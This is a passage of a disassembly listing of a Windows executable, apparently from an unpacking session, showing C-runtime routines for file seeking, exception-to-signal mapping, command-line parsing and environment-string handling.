		call	ds:dword_495390	; SetFilePointer
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41CEDC
		call	ds:dword_495328	; RtlGetLastWin32Error
		jmp	short loc_41CEDE
; ---------------------------------------------------------------------------


loc_41CEDC:				; CODE XREF: sub_41CE78+5Aj
		xor	eax, eax


loc_41CEDE:				; CODE XREF: sub_41CE78+62j
		test	eax, eax
		jz	short loc_41CEEB
		push	eax
		call	sub_41C4E8
		pop	ecx
		jmp	short loc_41CF0B
; ---------------------------------------------------------------------------


loc_41CEEB:				; CODE XREF: sub_41CE78+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41CF0E
; ---------------------------------------------------------------------------


loc_41CEFA:				; CODE XREF: sub_41CE78+Dj
					; sub_41CE78+2Aj
		and	dword_4927F8, 0
		mov	dword_4927F4, 9


loc_41CF0B:				; CODE XREF: sub_41CE78+42j
					; sub_41CE78+71j
		or	eax, 0FFFFFFFFh


loc_41CF0E:				; CODE XREF: sub_41CE78+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CE78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CF12	proc near		; CODE XREF: sub_417E44+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41CF2E
		mov	[edi+4], ebx


loc_41CF2E:				; CODE XREF: sub_41CF12+17j
		push	1
		push	ebx
		push	esi
		call	sub_41CE78
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41CF9C
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41CF53
		sub	eax, [edi+4]
		jmp	loc_41D065
; ---------------------------------------------------------------------------


loc_41CF53:				; CODE XREF: sub_41CF12+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41CF8D
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_493E60[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41CFA4
		mov	edx, ecx


loc_41CF7E:				; CODE XREF: sub_41CF12+79j
		cmp	edx, eax
		jnb	short loc_41CFA4
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41CF8A
		inc	[ebp+var_8]


loc_41CF8A:				; CODE XREF: sub_41CF12+73j
		inc	edx
		jmp	short loc_41CF7E
; ---------------------------------------------------------------------------


loc_41CF8D:				; CODE XREF: sub_41CF12+50j
		test	dl, 80h
		jnz	short loc_41CFA4
		mov	dword_4927F4, 16h


loc_41CF9C:				; CODE XREF: sub_41CF12+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41D065
; ---------------------------------------------------------------------------


loc_41CFA4:				; CODE XREF: sub_41CF12+68j
					; sub_41CF12+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41CFB2
		mov	eax, [ebp+var_8]
		jmp	loc_41D065
; ---------------------------------------------------------------------------


loc_41CFB2:				; CODE XREF: sub_41CF12+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41D05D
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41CFCB
		and	[ebp+var_8], edx
		jmp	loc_41D05D
; ---------------------------------------------------------------------------


loc_41CFCB:				; CODE XREF: sub_41CF12+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:493E60h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41D057
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41CE78
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41D01E
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_41D009:				; CODE XREF: sub_41CF12+104j
		cmp	eax, ecx
		jnb	short loc_41D018
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41D015
		inc	[ebp+arg_0]


loc_41D015:				; CODE XREF: sub_41CF12+FEj
		inc	eax
		jmp	short loc_41D009
; ---------------------------------------------------------------------------


loc_41D018:				; CODE XREF: sub_41CF12+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41D052
; ---------------------------------------------------------------------------


loc_41D01E:				; CODE XREF: sub_41CF12+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41CE78
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41D045
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41D045
		test	ch, 4
		jz	short loc_41D048


loc_41D045:				; CODE XREF: sub_41CF12+124j
					; sub_41CF12+12Cj
		mov	eax, [edi+18h]


loc_41D048:				; CODE XREF: sub_41CF12+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41D052:				; CODE XREF: sub_41CF12+10Aj
		jz	short loc_41D057
		inc	[ebp+arg_0]


loc_41D057:				; CODE XREF: sub_41CF12+D9j
					; sub_41CF12:loc_41D052j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41D05D:				; CODE XREF: sub_41CF12+A4j
					; sub_41CF12+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41D065:				; CODE XREF: sub_41CF12+3Cj
					; sub_41CF12+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41CF12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D06A	proc near		; CODE XREF: sub_417ED0+E3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_41D1AB
		test	eax, eax
		pop	ecx
		jz	loc_41D19F
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_41D19F
		cmp	ebx, 5
		jnz	short loc_41D09B
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_41D1A8
; ---------------------------------------------------------------------------


loc_41D09B:				; CODE XREF: sub_41D06A+23j
		cmp	ebx, 1
		jz	loc_41D19A
		mov	ecx, dword_4928A4
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4928A4, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_41D18A
		mov	ecx, dword_436120
		mov	edx, dword_436124
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_41D0EA
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:4360B0h[esi*4]


loc_41D0E1:				; CODE XREF: sub_41D06A+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_41D0E1


loc_41D0EA:				; CODE XREF: sub_41D06A+69j
		mov	eax, [eax]
		mov	esi, dword_43612C
		cmp	eax, 0C000008Eh
		jnz	short loc_41D105
		mov	dword_43612C, 83h
		jmp	short loc_41D175
; ---------------------------------------------------------------------------


loc_41D105:				; CODE XREF: sub_41D06A+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_41D118
		mov	dword_43612C, 81h
		jmp	short loc_41D175
; ---------------------------------------------------------------------------


loc_41D118:				; CODE XREF: sub_41D06A+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_41D12B
		mov	dword_43612C, 84h
		jmp	short loc_41D175
; ---------------------------------------------------------------------------


loc_41D12B:				; CODE XREF: sub_41D06A+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_41D13E
		mov	dword_43612C, 85h
		jmp	short loc_41D175
; ---------------------------------------------------------------------------


loc_41D13E:				; CODE XREF: sub_41D06A+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_41D151
		mov	dword_43612C, 82h
		jmp	short loc_41D175
; ---------------------------------------------------------------------------


loc_41D151:				; CODE XREF: sub_41D06A+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_41D164
		mov	dword_43612C, 86h
		jmp	short loc_41D175
; ---------------------------------------------------------------------------


loc_41D164:				; CODE XREF: sub_41D06A+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_41D175
		mov	dword_43612C, 8Ah


loc_41D175:				; CODE XREF: sub_41D06A+99j
					; sub_41D06A+ACj ...
		push	dword_43612C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43612C, esi
		pop	ecx
		pop	esi
		jmp	short loc_41D192
; ---------------------------------------------------------------------------


loc_41D18A:				; CODE XREF: sub_41D06A+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_41D192:				; CODE XREF: sub_41D06A+11Ej
		mov	eax, [ebp+arg_0]
		mov	dword_4928A4, eax


loc_41D19A:				; CODE XREF: sub_41D06A+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D1A8
; ---------------------------------------------------------------------------


loc_41D19F:				; CODE XREF: sub_41D06A+Fj
					; sub_41D06A+1Aj
		push	[ebp+arg_4]
		call	ds:dword_49547C	; UnhandledExceptionFilter


loc_41D1A8:				; CODE XREF: sub_41D06A+2Cj
					; sub_41D06A+133j
		pop	ebx
		pop	ebp
		retn
sub_41D06A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1AB	proc near		; CODE XREF: sub_41D06A+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_436128
		cmp	dword_4360A8, edx
		push	esi
		mov	eax, offset dword_4360A8
		jz	short loc_41D1D8
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:4360A8h[esi*4]


loc_41D1CD:				; CODE XREF: sub_41D1AB+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41D1D8
		cmp	[eax], edx
		jnz	short loc_41D1CD


loc_41D1D8:				; CODE XREF: sub_41D1AB+16j
					; sub_41D1AB+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:4360A8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41D1EB
		cmp	[eax], edx
		jz	short locret_41D1ED


loc_41D1EB:				; CODE XREF: sub_41D1AB+3Aj
		xor	eax, eax

locret_41D1ED:				; CODE XREF: sub_41D1AB+3Ej
		retn
sub_41D1AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D1EE	proc near		; CODE XREF: sub_417ED0+A5p
		cmp	dword_494294, 0
		jnz	short loc_41D1FC
		call	sub_41CAB9


loc_41D1FC:				; CODE XREF: sub_41D1EE+7j
		push	esi
		mov	esi, dword_494278
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_41D22E


loc_41D209:				; CODE XREF: sub_41D1EE+33j
					; sub_41D1EE+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_41D226
		test	al, al
		jz	short loc_41D226
		movzx	eax, al
		push	eax
		call	sub_41F790
		test	eax, eax
		pop	ecx
		jz	short loc_41D209
		inc	esi
		jmp	short loc_41D209
; ---------------------------------------------------------------------------


loc_41D226:				; CODE XREF: sub_41D1EE+21j
					; sub_41D1EE+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_41D238


loc_41D22B:				; CODE XREF: sub_41D1EE+52j
		inc	esi
		jmp	short loc_41D238
; ---------------------------------------------------------------------------


loc_41D22E:				; CODE XREF: sub_41D1EE+19j
		cmp	al, 20h
		jbe	short loc_41D238


loc_41D232:				; CODE XREF: sub_41D1EE+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_41D232


loc_41D238:				; CODE XREF: sub_41D1EE+3Bj
					; sub_41D1EE+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_41D242
		cmp	al, 20h
		jbe	short loc_41D22B


loc_41D242:				; CODE XREF: sub_41D1EE+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_41D1EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D246	proc near		; CODE XREF: sub_417ED0+8Ep
		push	ebx
		xor	ebx, ebx
		cmp	dword_494294, ebx
		push	esi
		push	edi
		jnz	short loc_41D258
		call	sub_41CAB9


loc_41D258:				; CODE XREF: sub_41D246+Bj
		mov	esi, dword_492840
		xor	edi, edi


loc_41D260:				; CODE XREF: sub_41D246+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_41D278
		cmp	al, 3Dh
		jz	short loc_41D26B
		inc	edi


loc_41D26B:				; CODE XREF: sub_41D246+22j
		push	esi
		call	sub_4158E0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_41D260
; ---------------------------------------------------------------------------


loc_41D278:				; CODE XREF: sub_41D246+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_415CF8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_49281C, esi
		jnz	short loc_41D29A
		push	9
		call	sub_417FC6
		pop	ecx


loc_41D29A:				; CODE XREF: sub_41D246+4Aj
		mov	edi, dword_492840
		cmp	[edi], bl
		jz	short loc_41D2DD
		push	ebp


loc_41D2A5:				; CODE XREF: sub_41D246+94j
		push	edi
		call	sub_4158E0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_41D2D6
		push	ebp
		call	sub_415CF8
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_41D2C9
		push	9
		call	sub_417FC6
		pop	ecx


loc_41D2C9:				; CODE XREF: sub_41D246+79j
		push	edi
		push	dword ptr [esi]
		call	sub_4175D0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_41D2D6:				; CODE XREF: sub_41D246+6Cj
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_41D2A5
		pop	ebp


loc_41D2DD:				; CODE XREF: sub_41D246+5Cj
		push	dword_492840
		call	sub_415D6C
		pop	ecx
		mov	dword_492840, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_494284, 1
		pop	ebx
		retn
sub_41D246	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2FF	proc near		; CODE XREF: sub_417ED0+89p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_494294, ebx
		push	esi
		push	edi
		jnz	short loc_41D316
		call	sub_41CAB9


loc_41D316:				; CODE XREF: sub_41D2FF+10j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		call	ds:dword_495330	; GetModuleFileNameA
		mov	eax, dword_494278
		mov	off_49282C, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_41D33B
		mov	edi, eax


loc_41D33B:				; CODE XREF: sub_41D2FF+38j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_41D398
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_415CF8
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_41D36B
		push	8
		call	sub_417FC6
		pop	ecx


loc_41D36B:				; CODE XREF: sub_41D2FF+62j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_41D398
		mov	eax, [ebp+var_4]
		add	esp, 14h
		dec	eax
		mov	dword_492814, esi
		pop	edi
		pop	esi
		mov	dword_492810, eax
		pop	ebx
		leave
		retn
sub_41D2FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D398	proc near		; CODE XREF: sub_41D2FF+47p
					; sub_41D2FF+7Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_41D3C2
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41D3C2:				; CODE XREF: sub_41D398+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41D40B


loc_41D3C7:				; CODE XREF: sub_41D398+58j
					; sub_41D398+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_41D3F9
		test	dl, dl
		jz	short loc_41D3F9
		movzx	edx, dl
		test	byte_494141[edx], 4
		jz	short loc_41D3EC
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D3EC
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_41D3EC:				; CODE XREF: sub_41D398+46j
					; sub_41D398+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D3C7
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41D3C7
; ---------------------------------------------------------------------------


loc_41D3F9:				; CODE XREF: sub_41D398+36j
					; sub_41D398+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D403
		and	byte ptr [esi],	0
		inc	esi


loc_41D403:				; CODE XREF: sub_41D398+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41D44E
		inc	eax
		jmp	short loc_41D44E
; ---------------------------------------------------------------------------


loc_41D40B:				; CODE XREF: sub_41D398+2Dj
					; sub_41D398+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D416
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_41D416:				; CODE XREF: sub_41D398+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_494141[ebx], 4
		jz	short loc_41D431
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41D430
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_41D430:				; CODE XREF: sub_41D398+91j
		inc	eax


loc_41D431:				; CODE XREF: sub_41D398+8Bj
		cmp	dl, 20h
		jz	short loc_41D43F
		test	dl, dl
		jz	short loc_41D443
		cmp	dl, 9
		jnz	short loc_41D40B


loc_41D43F:				; CODE XREF: sub_41D398+9Cj
		test	dl, dl
		jnz	short loc_41D446


loc_41D443:				; CODE XREF: sub_41D398+A0j
		dec	eax
		jmp	short loc_41D44E
; ---------------------------------------------------------------------------


loc_41D446:				; CODE XREF: sub_41D398+A9j
		test	esi, esi
		jz	short loc_41D44E
		and	byte ptr [esi-1], 0


loc_41D44E:				; CODE XREF: sub_41D398+6Ej
					; sub_41D398+71j ...
		and	[ebp+arg_10], 0


loc_41D452:				; CODE XREF: sub_41D398+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41D53B


loc_41D45B:				; CODE XREF: sub_41D398+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41D467
		cmp	dl, 9
		jnz	short loc_41D46A


loc_41D467:				; CODE XREF: sub_41D398+C8j
		inc	eax
		jmp	short loc_41D45B
; ---------------------------------------------------------------------------


loc_41D46A:				; CODE XREF: sub_41D398+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41D53B
		test	edi, edi
		jz	short loc_41D47F
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41D47F:				; CODE XREF: sub_41D398+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41D484:				; CODE XREF: sub_41D398+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41D48D:				; CODE XREF: sub_41D398+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41D496
		inc	eax
		inc	ebx
		jmp	short loc_41D48D
; ---------------------------------------------------------------------------


loc_41D496:				; CODE XREF: sub_41D398+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41D4C7
		test	bl, 1
		jnz	short loc_41D4C5
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41D4B4
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41D4B4
		mov	eax, edx
		jmp	short loc_41D4B7
; ---------------------------------------------------------------------------


loc_41D4B4:				; CODE XREF: sub_41D398+10Dj
					; sub_41D398+116j
		mov	[ebp+arg_0], edi


loc_41D4B7:				; CODE XREF: sub_41D398+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41D4C5:				; CODE XREF: sub_41D398+106j
		shr	ebx, 1


loc_41D4C7:				; CODE XREF: sub_41D398+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41D4DC
		inc	ebx


loc_41D4CF:				; CODE XREF: sub_41D398+142j
		test	esi, esi
		jz	short loc_41D4D7
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41D4D7:				; CODE XREF: sub_41D398+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41D4CF


loc_41D4DC:				; CODE XREF: sub_41D398+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41D52C
		cmp	[ebp+arg_10], 0
		jnz	short loc_41D4F2
		cmp	dl, 20h
		jz	short loc_41D52C
		cmp	dl, 9
		jz	short loc_41D52C


loc_41D4F2:				; CODE XREF: sub_41D398+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41D526
		test	esi, esi
		jz	short loc_41D515
		movzx	ebx, dl
		test	byte_494141[ebx], 4
		jz	short loc_41D50E
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41D50E:				; CODE XREF: sub_41D398+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41D524
; ---------------------------------------------------------------------------


loc_41D515:				; CODE XREF: sub_41D398+162j
		movzx	edx, dl
		test	byte_494141[edx], 4
		jz	short loc_41D524
		inc	eax
		inc	dword ptr [ecx]


loc_41D524:				; CODE XREF: sub_41D398+17Bj
					; sub_41D398+187j
		inc	dword ptr [ecx]


loc_41D526:				; CODE XREF: sub_41D398+15Ej
		inc	eax
		jmp	loc_41D484
; ---------------------------------------------------------------------------


loc_41D52C:				; CODE XREF: sub_41D398+148j
					; sub_41D398+153j ...
		test	esi, esi
		jz	short loc_41D534
		and	byte ptr [esi],	0
		inc	esi


loc_41D534:				; CODE XREF: sub_41D398+196j
		inc	dword ptr [ecx]
		jmp	loc_41D452
; ---------------------------------------------------------------------------


loc_41D53B:				; CODE XREF: sub_41D398+BDj
					; sub_41D398+D5j
		test	edi, edi
		jz	short loc_41D542
		and	dword ptr [edi], 0


loc_41D542:				; CODE XREF: sub_41D398+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41D398	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D54C	proc near		; CODE XREF: sub_417ED0+7Fp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_4929AC
		push	ebx
		push	ebp
		mov	ebp, ds:dword_495320
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41D59A
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41D57B
		mov	dword_4929AC, 1
		jmp	short loc_41D5A3
; ---------------------------------------------------------------------------


loc_41D57B:				; CODE XREF: sub_41D54C+21j
		call	ds:dword_495488	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41D675
		mov	dword_4929AC, 2
		jmp	loc_41D629
; ---------------------------------------------------------------------------


loc_41D59A:				; CODE XREF: sub_41D54C+19j
		cmp	eax, 1
		jnz	loc_41D624


loc_41D5A3:				; CODE XREF: sub_41D54C+2Dj
		cmp	esi, ebx
		jnz	short loc_41D5B3
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41D675


loc_41D5B3:				; CODE XREF: sub_41D54C+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41D5C8


loc_41D5BA:				; CODE XREF: sub_41D54C+73j
					; sub_41D54C+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41D5BA
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41D5BA


loc_41D5C8:				; CODE XREF: sub_41D54C+6Cj
		sub	eax, esi
		mov	edi, ds:dword_4953E8
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41D619
		push	ebp
		call	sub_415CF8
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41D619
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41D615
		push	[esp+18h+var_8]
		call	sub_415D6C
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41D615:				; CODE XREF: sub_41D54C+B9j
		mov	ebx, [esp+18h+var_8]


loc_41D619:				; CODE XREF: sub_41D54C+99j
					; sub_41D54C+A8j
		push	esi
		call	ds:dword_495484	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41D677
; ---------------------------------------------------------------------------


loc_41D624:				; CODE XREF: sub_41D54C+51j
		cmp	eax, 2
		jnz	short loc_41D675


loc_41D629:				; CODE XREF: sub_41D54C+49j
		cmp	edi, ebx
		jnz	short loc_41D639
		call	ds:dword_495488	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41D675


loc_41D639:				; CODE XREF: sub_41D54C+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41D649


loc_41D63F:				; CODE XREF: sub_41D54C+F6j
					; sub_41D54C+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41D63F
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41D63F


loc_41D649:				; CODE XREF: sub_41D54C+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_415CF8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41D65F
		xor	esi, esi
		jmp	short loc_41D66A
; ---------------------------------------------------------------------------


loc_41D65F:				; CODE XREF: sub_41D54C+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_415960
		add	esp, 0Ch


loc_41D66A:				; CODE XREF: sub_41D54C+111j
		push	edi
		call	ds:dword_495480	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_41D677
; ---------------------------------------------------------------------------


loc_41D675:				; CODE XREF: sub_41D54C+39j
					; sub_41D54C+61j ...
		xor	eax, eax


loc_41D677:				; CODE XREF: sub_41D54C+D6j
					; sub_41D54C+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41D54C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D67E	proc near		; CODE XREF: sub_417ED0+6Fp

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_415CF8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41D69E
		push	1Bh
		call	sub_417FC6
		pop	ecx


loc_41D69E:				; CODE XREF: sub_41D67E+16j
		mov	dword_493E60, esi
		mov	dword_493F9C, 20h
		lea	eax, [esi+100h]


loc_41D6B4:				; CODE XREF: sub_41D67E+52j
		cmp	esi, eax
		jnb	short loc_41D6D2
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_493E60
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41D6B4
; ---------------------------------------------------------------------------


loc_41D6D2:				; CODE XREF: sub_41D67E+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	ds:dword_495440	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_41D7AE
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_41D7AE
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41D708
		mov	esi, eax


loc_41D708:				; CODE XREF: sub_41D67E+86j
		cmp	dword_493F9C, esi
		jge	short loc_41D762
		mov	edi, offset dword_493E64


loc_41D715:				; CODE XREF: sub_41D67E+DAj
		push	100h
		call	sub_415CF8
		test	eax, eax
		pop	ecx
